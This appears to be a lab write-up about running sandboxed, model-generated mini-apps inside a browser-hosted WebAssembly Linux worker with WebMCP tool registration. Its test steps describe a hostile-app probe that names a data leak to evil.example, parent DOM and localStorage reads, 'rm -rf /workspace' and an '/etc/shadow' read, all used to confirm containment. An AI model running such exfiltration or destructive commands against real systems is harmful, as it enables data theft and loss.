# vm runtime mini-apps: browser-native voicebox on linux 7.x

- Status: `experiment`
- Track: [browser-delivered vms & container fabrics](https://aifoc.us/labs/browser-delivered-vms/)
- Layer: 10. Browser-Delivered VMs & Container Fabrics
- Updated: 2 December 2026
- Live demo: https://vm-runtime-mini-apps.kinlan-test.workers.dev
- Source: https://github.com/PaulKinlan/vm-runtime-mini-apps

## Inspired by

- [my voice harness is my new operating system](https://aifoc.us/voice-harness/)
- [the browser is the sandbox](https://aifoc.us/the-browser-is-the-sandbox/)
- [webmcp is the new web intents](https://aifoc.us/webmcp-is-the-new-web-intents/)

## Why this matters

Paul's original [Voicebox](/voice-harness/) harness ran a local Node.js daemon so a browser room could execute shell tools and mount model-generated HTML mini-apps—which meant installing a local server and running commands with host user authority. Moving the backend into an offline [Unkernel](https://unkernel.dev/) Linux 7.x Dedicated Worker removes the local daemon while confining generated UIs inside opaque `<iframe sandbox="allow-scripts">` origins.

## What this opens up

Zero-install, software-on-demand browser workspaces: speak or type a task, save mini-app HTML to `/workspace/apps/` via the guest host command `/run/kw/bin/launch-app`, mount it at a `"null"` origin with `connect-src 'none'`, run allowlisted POSIX tools (`awk`, `grep`, `sha256sum`, `wc`, `sort`, `head`) over a scoped `MessagePort`, and call newly registered WebMCP tools back from the Room.

## How the tests work

1. Wait for the offline `unkernel` Linux 7.x Dedicated Worker (`public/daemon-worker.js`, `memoryMiB: 112`, zero network, 9p `/workspace`) to boot and mount **1. CSV Revenue Chart & AWK Summary** via `/run/kw/bin/launch-app`.
2. Switch across the 3 instant blueprint apps (**CSV Revenue Chart & AWK Summary**, **Markdown TODO Checklist Manager**, and **Log & SHA-256 Digest Inspector**) or use the **Voice & Prompt Room** (Web Speech API + optional Chrome `LanguageModel`, [Port Authority AI Router](https://port-authority.dev/ai-router/), or local Ollama) and open the **Live Mini-App HTML/JS Source Drawer** to edit and re-mount code immediately.
3. Call the mounted mini-app's dynamically registered **WebMCP Tools** (`get_revenue_summary`, `highlight_top_product`, `add_todo_item`, `filter_logs`, `hash_workspace_file`) from the right-hand panel and inspect live changes in `/workspace`.
4. Click **Run Hostile App Attack Probe** to mount an untrusted app attempting `fetch("https://evil.example/leak")`, `window.parent.document` / `localStorage`, and `vmBridge.exec("rm", ["-rf", "/workspace"])` plus `readFile("/etc/shadow")`—confirming all 3 escape vectors fail closed in the UI and audit table.


## Hypothesis

- **Claim:** Pairing an offline browser-delivered Unkernel Linux 7.x Worker (`9p` `/workspace` + `/run/kw/bin/launch-app`) with an opaque `<iframe sandbox="allow-scripts">` (`connect-src 'none'`) and a scoped `MessagePort` allowlist enables Voicebox-style runtime mini-apps and WebMCP tool registration with zero local daemon installation and verifiable fail-closed containment.
- **Confirms it:** Blueprint and edited mini-apps mount at `window.origin === "null"`, execute real Linux `awk`/`grep`/`sha256sum`/`wc` on `/workspace`, register callable tools over `document.modelContext.registerTool()`, and the hostile probe deterministically blocks outbound `fetch()`, parent DOM/`localStorage` reads, `rm -rf /workspace`, and `/etc/shadow` traversal.
- **Bounds or disproves it:** Requiring WebAssembly JSPI (`WebAssembly.Suspending`) or confining execution to allowlisted BusyBox binaries inside an in-memory 9p `/workspace` limits workflows that depend on arbitrary host filesystem access or native desktop CLI harnesses.


## Under the hood

[VM Runtime Mini-Apps](https://vm-runtime-mini-apps.kinlan-test.workers.dev) ([source on GitHub](https://github.com/PaulKinlan/vm-runtime-mini-apps)) adapts the architecture from [My voice harness is my new operating system](/voice-harness/) so the entire daemon and mini-app runtime executes client-side inside one tab:

- **Offline Linux 7.x Dedicated Worker (`public/daemon-worker.js`):** Boots `unkernel@0.3.0-261202-b033dc7` (`memoryMiB: 112`, no network stack) and mounts an in-memory 9p `MemoryFs` at `/workspace` seeded with `metrics.csv`, `TODO.md`, `app.log`, and `/workspace/apps/`. Registering the host command `/run/kw/bin/launch-app` lets guest commands save HTML into `/workspace/apps/<slug>.html` and signal the browser Room to mount that app.
- **Opaque Sandbox + Scoped `MessagePort` Broker (`src/worker.ts` & `public/lib/mini-app-host.js`):** Serves `/sandbox/mini-app` with `Content-Security-Policy: default-src 'none'; script-src 'unsafe-inline'; style-src 'unsafe-inline'; connect-src 'none'` inside `<iframe sandbox="allow-scripts">` (`window.origin === "null"`). The Room transfers one end of a `MessageChannel` exposing `window.vmBridge` (`readFile`, `writeFile`, `listFiles`, `exec`) and `document.modelContext.registerTool()`. Every request crosses `normalizeWorkspacePath()` and `validateVmExecRequest()`, confining file access strictly to `/workspace/` and permitting only `awk`, `grep`, `sha256sum`, `wc`, `sort`, and `head` via direct `execve` without a shell.
- **Dynamic WebMCP Loop & Fail-Closed Probe:** Mounted mini-apps register structured tools back into the Room UI so callers can invoke `get_revenue_summary`, `add_todo_item`, or `filter_logs` over the private `MessagePort`. Mounting the hostile probe verifies in real time that outbound `fetch()`, `window.parent.document` / `localStorage`, `rm -rf /workspace`, and `/etc/shadow` traversal all reject cleanly.


## Key terms & further reading

- [Unkernel (Linux 7.x in WebAssembly)](https://unkernel.dev/) — A compiled Linux 7.x kernel with real MMU, 9p host mounts, and host commands (`commands: { ... }`) running inside a browser Dedicated Worker without server compute.
- [Opaque Sandboxed Iframe](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/iframe#sandbox) — An `<iframe sandbox="allow-scripts">` without `allow-same-origin` executes at a unique `"null"` origin, preventing access to parent DOM, cookies, or origin storage.
- [MessagePort Capability Bridge](https://developer.mozilla.org/en-US/docs/Web/API/MessagePort) — A private `MessageChannel` endpoint transferred into the sandboxed iframe so the host can enforce `/workspace` path guards and command allowlists on every Linux call.
- [WebMCP (document.modelContext)](https://github.com/webmachinelearning/webmcp) — A browser tool registration interface where rendered apps publish tool names, JSON input schemas, and execution callbacks back to an enclosing agent loop.
- [Web Speech API (SpeechRecognition)](https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition) — Browser speech-to-text interface used by the Voice & Prompt Room to turn spoken commands into mini-app generation prompts when supported.
- [WebAssembly JSPI (WebAssembly.Suspending)](https://github.com/WebAssembly/js-promise-integration) — JavaScript Promise Integration enabling compiled Linux kernel I/O inside WebAssembly to suspend across asynchronous browser operations.

## Open questions to iterate on

- How should persistent user-created mini-apps in `/workspace/apps/` sync cleanly to OPFS across sessions while keeping hostile apps quarantined by digest?
- When multiple runtime mini-apps are open simultaneously, what namespace and conflict policy should govern overlapping WebMCP tool names?

## Iteration log

- **2026-12-02:** Built offline Unkernel Linux 7.x Dedicated Worker (`public/daemon-worker.js`) with 9p `/workspace`, `/run/kw/bin/launch-app` host command, opaque `/sandbox/mini-app` runtime with `MessagePort` allowlist + WebMCP registration, 3 instant blueprints, live HTML/JS editor, optional LLM generator providers, and 3-vector hostile app attack probe.

## Primitives tested

- `Unkernel Linux 7.x (Wasm + JSPI)`
- `9p MemoryFs & Host Commands`
- `Opaque Sandboxed Iframe (origin: null)`
- `MessagePort Capability Allowlist`
- `WebMCP (document.modelContext)`
- `Web Speech API`

## Connected labs in other tracks

- [pi sandboxed vm harness](https://aifoc.us/labs/browser-delivered-vms/pi-sandboxed-vm-harness/) — Runs a 4-tool coding agent loop and digest-pinned extensions inside an offline Unkernel Linux 7.x Worker.
- [slice capability mesh](https://aifoc.us/labs/browser-containment/slice-capability-mesh/) — Combines opaque sandboxed iframes, MessageChannel bridges, and per-slice AES-256-GCM OPFS isolation.

---
Canonical: https://aifoc.us/labs/browser-delivered-vms/vm-runtime-mini-apps/
